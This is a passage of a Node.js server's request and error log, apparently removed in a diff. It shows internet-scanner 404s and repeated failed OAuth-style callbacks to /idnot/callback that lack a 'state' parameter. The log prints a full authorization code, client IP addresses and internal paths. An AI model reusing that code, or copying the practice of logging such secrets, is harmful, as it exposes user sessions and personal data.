Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758660024100_srvqp61zg', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '192.155.90.220', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T21:07:35.975Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' - }, - requestId: 'req_1758661655974_sldmx9xn1' -} -❌ [ERROR] 2025-09-23T21:07:35.976Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' - }, - requestId: 'req_1758661655974_sldmx9xn1', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '199.45.154.135', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T21:09:15.411Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758661755410_n1evwlio3' -} -❌ [ERROR] 2025-09-23T21:09:15.412Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758661755410_n1evwlio3', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T21:52:29.310Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:205.210.31.249', - method: 'GET', - url: '/', - userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' - }, - requestId: 'req_1758664349310_epgwjgt4f', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T21:53:08.999Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:102.67.180.50', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' - }, - requestId: 'req_1758664388998_6ntebp5c4', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T22:00:12.716Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758664812715_ont041phg', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T22:07:54.795Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758665274794_sdf7p79nz', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T22:19:36.069Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:192.159.99.180', - method: 'GET', - url: '/', - userAgent: 'Hello World' - }, - requestId: 'req_1758665976068_7sjo5a3zk', - response: { - statusCode: 404 - } -} -ℹ️ [INFO] 2025-09-23T22:24:14.802Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758666254801_7orkb9027', - response: { - statusCode: 200 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '78.241.54.161', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T22:24:53.744Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758666293744_bdkgxw6a2' -} -❌ [ERROR] 2025-09-23T22:24:53.745Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758666293744_bdkgxw6a2', - response: { - statusCode: 400 - } -} -ℹ️ [INFO] 2025-09-23T22:25:19.319Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758666319318_rnw41u0vc', - response: { - statusCode: 200 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '78.241.54.161', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T22:33:22.802Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758666802801_tifikoznn' -} -❌ [ERROR] 2025-09-23T22:33:22.803Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758666802801_tifikoznn', - response: { - statusCode: 400 - } -} -ℹ️ [INFO] 2025-09-23T22:44:00.211Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758667440210_3ayzj3t14', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T22:44:36.100Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758667476098_dj91cwutq', - response: { - statusCode: 200 - } -} -ℹ️ [INFO] 2025-09-23T23:14:11.700Z HTTP POST /api/v1/idnot/state - 200 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:92.243.24.12', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758669251699_xxf2acjpt', - response: { - statusCode: 200 - } -} -❌ [ERROR] 2025-09-23T23:20:22.742Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758669622742_yp93jrtzq', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T23:40:06.538Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:20.65.194.99', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758670806538_s8phsjknd', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T23:54:20.898Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758671660898_56efdeimi', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '78.241.54.161', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T00:06:03.355Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758672363354_5rqgbzemn' -} -❌ [ERROR] 2025-09-24T00:06:03.356Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758672363354_5rqgbzemn', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '78.241.54.161', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T00:13:12.548Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758672792547_zhy26ed7v' -} -❌ [ERROR] 2025-09-24T00:13:12.549Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758672792547_zhy26ed7v', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T00:15:16.012Z HTTP HEAD /api/v1/idnot/state - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'HEAD', - url: '/api/v1/idnot/state', - userAgent: 